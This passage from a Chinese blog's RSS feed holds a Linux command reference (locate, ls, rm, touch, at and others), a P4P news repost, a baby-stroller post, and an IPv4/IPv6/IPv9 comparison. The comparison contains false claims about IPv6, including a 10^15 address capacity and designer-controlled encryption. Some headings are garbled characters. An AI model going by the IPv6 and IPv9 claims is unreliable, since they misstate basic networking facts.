<p style="TEXT-INDENT: 2em">locate [-qv] [-o ] [--output=] </p>
<p style="TEXT-INDENT: 2em">locate [-e ] [-f ] &lt;[-l ] [-c] </p>
<p style="TEXT-INDENT: 2em">&lt;[-U ] [-u]&gt; </p>
<p style="TEXT-INDENT: 2em">locate [-Vh] [--version] [--help] </p>
<p style="TEXT-INDENT: 2em">说明： </p>
<p style="TEXT-INDENT: 2em">locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的资料库，之后当寻找时就只需查询这个资料库，而不必实际深入档案系统之中了。 </p>
<p style="TEXT-INDENT: 2em">在一般的 distribution 之中，资料库的建立都被放在 contab 中自动执行。一般使用者在使用时只要用 </p>
<p style="TEXT-INDENT: 2em"># locate your_file_name </p>
<p style="TEXT-INDENT: 2em">的型式就可以了。 参数： </p>
<p style="TEXT-INDENT: 2em">-u </p>
<p style="TEXT-INDENT: 2em">-U </p>
<p style="TEXT-INDENT: 2em">建立资料库，-u 会由根目录开始，-U 则可以指定开始的位置。 </p>
<p style="TEXT-INDENT: 2em">-e </p>
<p style="TEXT-INDENT: 2em">将 </p>
<p style="TEXT-INDENT: 2em">排除在寻找的范围之外。 </p>
<p style="TEXT-INDENT: 2em">-l </p>
<p style="TEXT-INDENT: 2em">如果 是 1．则启动安全模式。在安全模式下，使用者不会看到权限无法看到的档案。这会始速度减慢，因为 locate 必须至实际的档案系统中取得档案的权限资料。 </p>
<p style="TEXT-INDENT: 2em">-f </p>
<p style="TEXT-INDENT: 2em">将特定的档案系统排除在外，例如我们没有到理要把 proc 档案系统中的档案放在资料库中。 </p>
<p style="TEXT-INDENT: 2em">-q </p>
<p style="TEXT-INDENT: 2em">安静模式，不会显示任何错误讯息。 </p>
<p style="TEXT-INDENT: 2em">-n </p>
<p style="TEXT-INDENT: 2em">至多显示 个输出。 </p>
<p style="TEXT-INDENT: 2em">-r </p>
<p style="TEXT-INDENT: 2em">使用正规运算式 做寻找的条件。 </p>
<p style="TEXT-INDENT: 2em">-o </p>
<p style="TEXT-INDENT: 2em">指定资料库存的名称。 </p>
<p style="TEXT-INDENT: 2em">-d </p>
<p style="TEXT-INDENT: 2em">指定资料库的路径 </p>
<p style="TEXT-INDENT: 2em">-h </p>
<p style="TEXT-INDENT: 2em">显示辅助讯息 </p>
<p style="TEXT-INDENT: 2em">-v </p>
<p style="TEXT-INDENT: 2em">显示更多的讯息 </p>
<p style="TEXT-INDENT: 2em">-V </p>
<p style="TEXT-INDENT: 2em">显示程式的版本讯息 范例： </p>
<p style="TEXT-INDENT: 2em">locate chdrv : 寻找所有叫 chdrv 的档案 </p>
<p style="TEXT-INDENT: 2em">locate -n 100 a.out : 寻找所有叫 a.out 的档案，但最多只显示 100 个 </p>
<p style="TEXT-INDENT: 2em">locate -u : 建立资料库 </p>
<p style="TEXT-INDENT: 2em">名称 : ls </p>
<p style="TEXT-INDENT: 2em">使用权限 : 所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式 : ls [-alrtAFR] [name...] </p>
<p style="TEXT-INDENT: 2em">说明 : 显示指定工作目录下之内容（列出目前工作目录所含之档案及子目录)。 </p>
<p style="TEXT-INDENT: 2em">-a 显示所有档案及目录 (ls内定将档案名或目录名称开头为&quot;.&quot;的视为隐藏档，不会列出) </p>
<p style="TEXT-INDENT: 2em">-l 除档案名称外，亦将档案型态、权限、拥有者、档案大小等资讯详细列出 </p>
<p style="TEXT-INDENT: 2em">-r 将档案以相反次序显示(原定依英文字母次序) </p>
<p style="TEXT-INDENT: 2em">-t 将档案依建立时间之先后次序列出 </p>
<p style="TEXT-INDENT: 2em">-A 同 -a ，但不列出 &quot;.&quot; (目前目录) 及 &quot;..&quot; (父目录) </p>
<p style="TEXT-INDENT: 2em">-F 在列出的档案名称后加一符号；例如可执行档则加 &quot;*&quot;, 目录则加 &quot;/&quot; </p>
<p style="TEXT-INDENT: 2em">-R 若目录下有档案，则以下之档案亦皆依序列出 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">列出目前工作目录下所有名称是 s 开头的档案，愈新的排愈后面 : </p>
<p style="TEXT-INDENT: 2em">ls -ltr s* </p>
<p style="TEXT-INDENT: 2em">将 /bin 目录以下所有目录及档案详细资料列出 : </p>
<p style="TEXT-INDENT: 2em">ls -lR /bin </p>
<p style="TEXT-INDENT: 2em">列出目前工作目录下所有档案及目录；目录于名称后加 &quot;/&quot;, 可执行档于名称后加 &quot;*&quot; : </p>
<p style="TEXT-INDENT: 2em">ls -AF </p>
<p style="TEXT-INDENT: 2em"><span class="a14c" id="zoom">
<p style="TEXT-INDENT: 2em">名称：more </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式：more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..] </p>
<p style="TEXT-INDENT: 2em">说明：类似 cat ，不过会以一页一页的显示方便使用者逐页阅读，而最基本的指令就是按空白键（space）就往下一页显示，按 b 键就会往回（back）一页显示，而且还有搜寻字串的功能（与 vi 相似），使用中的说明文件，请按 h 。 </p>
<p style="TEXT-INDENT: 2em">参数：-num 一次显示的行数 </p>
<p style="TEXT-INDENT: 2em">-d 提示使用者，在画面下方显示 [Press space to continue, q to quit.] ，如果使用者按错键，则会显示 [Press h for instructions.] 而不是 哔 声 </p>
<p style="TEXT-INDENT: 2em">-l 取消遇见特殊字元 ^L（送纸字元）时会暂停的功能 </p>
<p style="TEXT-INDENT: 2em">-f 计算行数时，以实际上的行数，而非自动换行过后的行数（有些单行字数太长的会被扩展为两行或两行以上） </p>
<p style="TEXT-INDENT: 2em">-p 不以卷动的方式显示每一页，而是先清除萤幕后再显示内容 </p>
<p style="TEXT-INDENT: 2em">-c 跟 -p 相似，不同的是先显示内容再清除其他旧资料 </p>
<p style="TEXT-INDENT: 2em">-s 当遇到有连续两行以上的空白行，就代换为一行的空白行 </p>
<p style="TEXT-INDENT: 2em">-u 不显示下引号 （根据环境变数 TERM 指定的 terminal 而有所不同） </p>
<p style="TEXT-INDENT: 2em">+/ 在每个档案显示前搜寻该字串（pattern），然后从该字串之后开始显示 </p>
<p style="TEXT-INDENT: 2em">+num 从第 num 行开始显示 </p>
<p style="TEXT-INDENT: 2em">fileNames 欲显示内容的档案，可为复数个数 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">more -s testfile 逐页显示 testfile 之档案内容，如有连续两行以上空白行则以一行空白行显示。 </p>
<p style="TEXT-INDENT: 2em">more +20 testfile 从第 20 行开始显示 testfile 之档案内容。 </p>
<p style="TEXT-INDENT: 2em">名称：mv </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： </p>
<p style="TEXT-INDENT: 2em">mv [options] source dest </p>
<p style="TEXT-INDENT: 2em">mv [options] source... directory </p>
<p style="TEXT-INDENT: 2em">说明：将一个档案移至另一档案，或将数个档案移至另一目录。 </p>
<p style="TEXT-INDENT: 2em">参数：-i 若目的地已有同名档案，则先询问是否覆盖旧档。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">将档案 aaa 更名为 bbb : </p>
<p style="TEXT-INDENT: 2em">mv aaa bbb </p>
<p style="TEXT-INDENT: 2em">将所有的C语言程式移至 Finished 子目录中 : </p>
<p style="TEXT-INDENT: 2em">mv -i *.c </p>
<p style="TEXT-INDENT: 2em">名称：rm </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式：rm [options] name... </p>
<p style="TEXT-INDENT: 2em">说明：删除档案及目录。 </p>
<p style="TEXT-INDENT: 2em">把计 </p>
<p style="TEXT-INDENT: 2em">-i 删除前逐一询问确认。 </p>
<p style="TEXT-INDENT: 2em">-f 即使原档案属性设为唯读，亦直接删除，无需逐一确认。 </p>
<p style="TEXT-INDENT: 2em">-r 将目录及以下之档案亦逐一删除。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">删除所有C语言程式档；删除前逐一询问确认 : </p>
<p style="TEXT-INDENT: 2em">rm -i *.c </p>
<p style="TEXT-INDENT: 2em">将 Finished 子目录及子目录中所有档案删除 : </p>
<p style="TEXT-INDENT: 2em">rm -r Finished </p>
<p style="TEXT-INDENT: 2em">名称：rmdir </p>
<p style="TEXT-INDENT: 2em">使用权限：于目前目录有适当权限的所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： rmdir [-p] dirName </p>
<p style="TEXT-INDENT: 2em">说明： 删除空的目录。 </p>
<p style="TEXT-INDENT: 2em">参数： -p 是当子目录被删除后使它也成为空目录的话，则顺便一并删除。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">将工作目录下，名为 AAA 的子目录删除 : </p>
<p style="TEXT-INDENT: 2em">rmdir AAA </p>
<p style="TEXT-INDENT: 2em">在工作目录下的 BBB 目录中，删除名为 Test 的子目录。若 Test 删除后，BBB 目录成为空目录，则 BBB 亦予删除。 </p>
<p style="TEXT-INDENT: 2em">rmdir -p BBB/Test </p>
<p style="TEXT-INDENT: 2em">名称：split </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式：split [OPTION] [INPUT [PREFIX]] </p>
<p style="TEXT-INDENT: 2em">说明： </p>
<p style="TEXT-INDENT: 2em">将一个档案分割成数个。而从 INPUT 分割输出成固定大小的档案，其档名依序为 PREFIXaa, PREFIXab...；PREFIX 预设值为 `x。若没有 INPUT 档或为 `-，则从标准输入读进资料。 </p>
<p style="TEXT-INDENT: 2em">匡兜 </p>
<p style="TEXT-INDENT: 2em">-b, --bytes=SIZE </p>
<p style="TEXT-INDENT: 2em">SIZE 值为每一输出档案的大小，单位为 byte。 </p>
<p style="TEXT-INDENT: 2em">-C, --line-bytes=SIZE </p>
<p style="TEXT-INDENT: 2em">每一输出档中，单行的最大 byte 数。 </p>
<p style="TEXT-INDENT: 2em">-l, --lines=NUMBER </p>
<p style="TEXT-INDENT: 2em">NUMBER 值为每一输出档的列数大小。 </p>
<p style="TEXT-INDENT: 2em">-NUMBER </p>
<p style="TEXT-INDENT: 2em">与 -l NUMBER 相同。 </p>
<p style="TEXT-INDENT: 2em">--verbose </p>
<p style="TEXT-INDENT: 2em">于每个输出档被开启前，列印出侦错资讯到标准错误输出。 </p>
<p style="TEXT-INDENT: 2em">--help </p>
<p style="TEXT-INDENT: 2em">显示辅助资讯然后离开。 </p>
<p style="TEXT-INDENT: 2em">--version </p>
<p style="TEXT-INDENT: 2em">列出版本资讯然后离开。 </p>
<p style="TEXT-INDENT: 2em"><span class="a14c" id="zoom">
<p style="TEXT-INDENT: 2em">SIZE 可加入单位: b 代表 512， k 代表 1K， m 代表 1 Meg。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">PostgresSQL 大型资料库备份与回存： </p>
<p style="TEXT-INDENT: 2em">因 Postgres 允许表格大过你系统档案的最大容量，所以要将表格 dump 到单一的档案可能会有问题，使用 split进行档案分割。 </p>
<p style="TEXT-INDENT: 2em">% pg_dump dbname | split -b 1m - filename.dump. </p>
<p style="TEXT-INDENT: 2em">重新载入 </p>
<p style="TEXT-INDENT: 2em">% createdb dbname </p>
<p style="TEXT-INDENT: 2em">% cat filename.dump.* | pgsql dbname </p>
<p style="TEXT-INDENT: 2em">名称：touch </p>
<p style="TEXT-INDENT: 2em">使用权限：所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式： </p>
<p style="TEXT-INDENT: 2em">touch [-acfm] </p>
<p style="TEXT-INDENT: 2em">[-r reference-file] [--file=reference-file] </p>
<p style="TEXT-INDENT: 2em">[-t MMDDhhmm[[CC]YY][.ss]] </p>
<p style="TEXT-INDENT: 2em">[-d time] [--date=time] [--time={atime,access,use,mtime,modify}] </p>
<p style="TEXT-INDENT: 2em">[--no-create] [--help] [--version] </p>
<p style="TEXT-INDENT: 2em">file1 [file2 ...] </p>
<p style="TEXT-INDENT: 2em">说明： </p>
<p style="TEXT-INDENT: 2em">touch 指令改变档案的时间记录。 ls -l 可以显示档案的时间记录。 </p>
<p style="TEXT-INDENT: 2em">参数： </p>
<p style="TEXT-INDENT: 2em">a 改变档案的读取时间记录。 </p>
<p style="TEXT-INDENT: 2em">m 改变档案的修改时间记录。 </p>
<p style="TEXT-INDENT: 2em">c 假如目的档案不存在，不会建立新的档案。与 --no-create 的效果一样。 </p>
<p style="TEXT-INDENT: 2em">f 不使用，是为了与其他 unix 系统的相容性而保留。 </p>
<p style="TEXT-INDENT: 2em">r 使用参考档的时间记录，与 --file 的效果一样。 </p>
<p style="TEXT-INDENT: 2em">d 设定时间与日期，可以使用各种不同的格式。 </p>
<p style="TEXT-INDENT: 2em">t 设定档案的时间记录，格式与 date 指令相同。 </p>
<p style="TEXT-INDENT: 2em">--no-create 不会建立新档案。 </p>
<p style="TEXT-INDENT: 2em">--help 列出指令格式。 </p>
<p style="TEXT-INDENT: 2em">--version 列出版本讯息。 </p>
<p style="TEXT-INDENT: 2em">范例： </p>
<p style="TEXT-INDENT: 2em">最简单的使用方式，将档案的时候记录改为现在的时间。若档案不存在，系统会建立一个新的档案。 </p>
<p style="TEXT-INDENT: 2em">touch file </p>
<p style="TEXT-INDENT: 2em">touch file1 file2 </p>
<p style="TEXT-INDENT: 2em">将 file 的时间记录改为 5 月 6 日 18 点 3 分，公元两千年。时间的格式可以参考 date 指令，至少需输入 MMDDHHmm ，就是月日时与分。 </p>
<p style="TEXT-INDENT: 2em">touch -c -t 05061803 file </p>
<p style="TEXT-INDENT: 2em">touch -c -t 050618032000 file </p>
<p style="TEXT-INDENT: 2em">将 file 的时间记录改变成与 referencefile 一样。 </p>
<p style="TEXT-INDENT: 2em">touch -r referencefile file </p>
<p style="TEXT-INDENT: 2em">将 file 的时间记录改成 5 月 6 日 18 点 3 分，公元两千年。时间可以使用 am, pm 或是 24 小时的格式，日期可以使用其他格式如 6 May 2000 。 </p>
<p style="TEXT-INDENT: 2em">touch -d &quot;6:03pm&quot; file </p>
<p style="TEXT-INDENT: 2em">touch -d &quot;05/06/2000&quot; file </p>
<p style="TEXT-INDENT: 2em">touch -d &quot;6:03pm 05/06/2000&quot; file </p>
<p style="TEXT-INDENT: 2em">名称 : at </p>
<p style="TEXT-INDENT: 2em">使用权限 : 所有使用者 </p>
<p style="TEXT-INDENT: 2em">使用方式 : at -V [-q queue] [-f file] [-mldbv] TIME </p>
<p style="TEXT-INDENT: 2em">说明 : at 可以让使用者指定在 TIME 这个特定时刻执行某个程式或指令，TIME 的格式是 HH:MM其中的 HH 为小时，MM 为分钟，甚至你也可以指定 am, pm, midnight, noon, teatime(就是下午 4 点锺)等口语词。 </p>
<p style="TEXT-INDENT: 2em">如果想要指定超过一天内的时间，则可以用 MMDDYY 或者 MM/DD/YY 的格式，其中 MM 是分钟，DD 是第几日，YY 是指年份。另外，使用者甚至也可以使用像是 now + 时间间隔来弹性指定时间，其中的时间间隔可以是 minutes, hours, days, weeks </p>
<p style="TEXT-INDENT: 2em">另外，使用者也可指定 today 或 tomorrow 来表示今天或明天。当指定了时间并按下 enter 之后，at 会进入交谈模式并要求输入指令或程式，当你输入完后按下 ctrl+D 即可完成所有动作，至于执行的结果将会寄回你的帐号中。 </p>
<p style="TEXT-INDENT: 2em">把计 : </p>
<p style="TEXT-INDENT: 2em">-V : 印出版本编号 </p>
<p style="TEXT-INDENT: 2em">-q : 使用指定的伫列(Queue)来储存，at 的资料是存放在所谓的 queue 中，使用者可以同时使用多个 queue，而 queue 的编号为 a, b, c... z 以及 A, B, ... Z 共 52 个 </p>
<p style="TEXT-INDENT: 2em">-m : 即使程式/指令执行完成后没有输出结果, 也要寄封信给使用者 </p>
<p style="TEXT-INDENT: 2em">-f file : 读入预先写好的命令档。使用者不一定要使用交谈模式来输入，可以先将所有的指定先写入档案后再一次读入 </p>
<p style="TEXT-INDENT: 2em">-l : 列出所有的指定 (使用者也可以直接使用 atq 而不用 at -l) </p>
<p style="TEXT-INDENT: 2em">-d : 删除指定 (使用者也可以直接使用 atrm 而不用 at -d) </p>
<p style="TEXT-INDENT: 2em">-v : 列出所有已经完成但尚未删除的指定 </p>
<p style="TEXT-INDENT: 2em">例子 : </p>
<p style="TEXT-INDENT: 2em">三天后的下午 5 点锺执行 /bin/ls : </p>
<p style="TEXT-INDENT: 2em">at 5pm + 3 days /bin/ls </p>
<p style="TEXT-INDENT: 2em">三个星期后的下午 5 点锺执行 /bin/ls : </p>
<p style="TEXT-INDENT: 2em">at 5pm + 2 weeks /bin/ls </p>
<p style="TEXT-INDENT: 2em">明天的 17:20 执行 /bin/date : </p>
<p style="TEXT-INDENT: 2em">at 17:20 tomorrow /bin/date </p>
<p style="TEXT-INDENT: 2em">1999 年的最后一天的最后一分钟印出 the end of world ! </p>
<p style="TEXT-INDENT: 2em">at 23:59 12/31/1999 echo the end of world ! </p>
<p style="TEXT-INDENT: 2em">&nbsp;</p>
</span></p>
<p>&nbsp;</p>
</span></p>
<p>&nbsp;</p>
</span></p>
<p>&nbsp;</p>
</span></p>
<p>&nbsp;</p>
</span>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=444</link>
			<title><![CDATA[P4P]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[杂七杂八]]></category>
			<pubDate>Sun,16 Mar 2008 11:04:31 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=444</guid>	
		<description><![CDATA[P2P, or peer-to-peer, is the protocol currently used by many file sharing networks for moving large files over the internet. Now, a new protocol, P4P - aka Proactive network Provider Participation for P2P - is being introduced by Verizon. P4P's goal is to reduce backbone traffic and lower network operation costs. Will P4P bring us the bandwidth we've been waiting for?
<div class="asset-more" id="more">
<p>Unlike P2P, which selects random peers to share with, when using P4P the peers are intelligently selected as the protocol utilizes network topology data to maximize the efficiency of routing between the peer-to-peer connections. </p>
<p>Verizon just tested P4P with <a href="http://www.pando.com/">Pando </a>and received performance boosts of 200 percent on average and increases of up to 600 percent in some cases.</p>
<p>What's most remarkable about this story is that Verizon is looking towards working with P2P traffic instead of throttling it like Comcast has been doing lately. </p>
<p>At an upcoming conference in New York, Verizon will present their test results, which show that when an ISP cooperates with file-sharing, they can speed downloads an average of 60 percent.</p>
<p><img alt="" src="http://www.readwriteweb.com/images/pando_logo.gif" align="left" />&quot;This test signifies a turning point in the history of peer-to-peer technology and ISPs,&quot; said Robert Levitan, chief executive of Pando Networks Inc. &quot;It will definitely show ISPs that the problem is not peer-to-peer technology, the problem is how you deploy it. It is possible to deploy P2P to their advantage. The Internet is quickly transforming into a media distribution platform, and there are people who say: 'It will break. It's not built to move music and movies and games and software.' New technologies are needed, and this is one of those technologies.&quot;</p>
<p>The P4P protocol may even be ready by next month, when <a href="http://www.pandoblog.com/?p=254">NBC begins offering HD downloads</a> of popular TV shows via the Pando software.<br /></p>
<p>摘:http://www.readwriteweb.com/archives/goodbye_p2p_p4p_is_coming.php</p>
</div>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=440</link>
			<title><![CDATA[陈乐鑫的推车终于到了~]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[杂七杂八]]></category>
			<pubDate>Tue,26 Feb 2008 17:27:47 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=440</guid>	
		<description><![CDATA[<P>历经一个多月,乐鑫他亲阿姨买的推车终于到了,真是几经周折呀(这快递公司都可以把这车子从地球送一圈了都)~</P>
<P>&nbsp;</P>
<P>看我家宝宝最新装备,好孩子C880C,超级敞篷跑车~哈哈~</P>
<P>&nbsp;</P>
<P>[img]/attachments/month0802/wtl1_006907_0_02.jpg[/img]</P>
<P>1、靠背坐、躺、卧三档调节。<BR>2、前轮避震，后轮有刹车功能。<BR>3、前扶手可打开。<BR>4、坐垫板可加长。<BR>5、布质置物篮筐。<BR>6、配头部护枕和头托。<BR>7、三点式安全带保护系统。</P>
<P>&nbsp;</P>
<P>配置够强悍的吧~哈哈</P>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=438</link>
			<title><![CDATA[IPv4,IPv6,IPv9 三代协议比较]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[杂七杂八]]></category>
			<pubDate>Thu,24 Jan 2008 11:26:38 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=438</guid>	
		<description><![CDATA[<P><STRONG>IPv4</STRONG></P>
<P>优点</P>
<P>实际证明符合当初的设计（1960-1980），是现有国际互联网技术的基础。</P>
<P>不足</P>
<P>原设计没想到互联网发展这么快，IP地址不够<BR>预测表明，到2010年地址分配完毕。<BR>比如,整个中国的IP地址还不及美国一个大学的地址多。<BR>不安全，不能进行保密传送。<BR>地址分配效率低只有0.33～0.22%。<BR>不适合无线应用。<BR>不能适合多媒体传送，<BR>只适合数据传送，<BR>图象和声音质量都比较差。</P>
<P>&nbsp;</P>
<P><STRONG>IPv6</STRONG></P>
<P>优点</P>
<P>增加了地址长度(为2128),<BR>增加了安全保密算法，<BR>增加了常规的图象和声音的传输。<BR>增加了无线上网手段。 </P>
<P>不足</P>
<P>效率特别低，只有0.01～0.03%(实际试下来比IPV4多不了多少)。<BR>其设计地址理论容量为30年(特别是IDSN的位长为10<SUP>50</SUP>，ATM位长为2<SUP>160</SUP>。均在设计时考虑了地址的长度)。<BR>但IPV6设计时只有10<SUP>15</SUP>地址，所以远远不能满足人类对IP地址的需要。<BR>没有地理位置，所有国家均消失, 只留下商业、国际组织和美国本土。<BR>其安全保密算法均控制在IPV6设计者手中。<BR>没有从根本上解决图象和声音协议的方法。<BR>无法用数字按键上网(特别是手机)。<BR>不能直接用IP地址表示，必须经过DNS翻译。<BR>联网用的算法复杂，有二进制、八进制、十六进制、英文、多国文字等。<BR>没有紧急用类别，不适合在紧急和战争状况下使用。</P>
<P><STRONG>IPv9</STRONG></P>
<P>1、地址容量大为2<SUP>256</SUP>，效率高。在今后很长的一段时间内，可以给世界上的人类需求分配一个永久的IP地址。而且以后还可以自动按顺序增加，因此，IP地址容量足够大。可以和现有的IPV4、IPV6网络互通。<BR>2、采用了定长不定位的方法，可以减少网络开销，可像电话一样进行不定长使用。<BR>3、符合可持续发展和环保要求。根据需求可以实现端到端，做到低成本、高效率、经济性特别好。同时，对用户隐私权的保护得到了加强。并在设计时考虑到了环保问题。<BR>4、采用特定的加密机制。特别考虑到计算机网络技术领域的发展趋势，今后会出现诸如生物芯片和量子计算机等高新技术，预见了将现有计算机的解密能力超越了热力学的范围。加密算法控制权掌握在设计者手中，因而不存在IPV6那样受制于他国，所以网络特别安全。<BR>5、采用了绝对码类和长流码类似的协议，解决了声音和图象在模拟电路中传输的矛盾。<BR>6、可以直接将IP地址和MAC地址作为域名使用，特别适合于使用手机和家庭的上网。<BR>7、采用十进制算法。简化了计算机和计算机互联算法的基础，从而为今后计算机互联网发展确定了新的游戏规则。并确定了将杂乱无序的互联网算法逐步统一为十进制算法。<BR>8、有紧急类别，可以解决在战争和国家紧急情况下的线路畅通问题。做到军民两用。<BR>9、特别适合无线网络传输。<BR>10、采用了特别的语言表示法，简化了网络管理中的管理难度，便于推广普及。<BR>11、采用了IPV9和IPV4过渡策略，有利于延长现有IPV4网络资源的生命期。</P>]]></description>
		</item>
		
</channel>
</rss>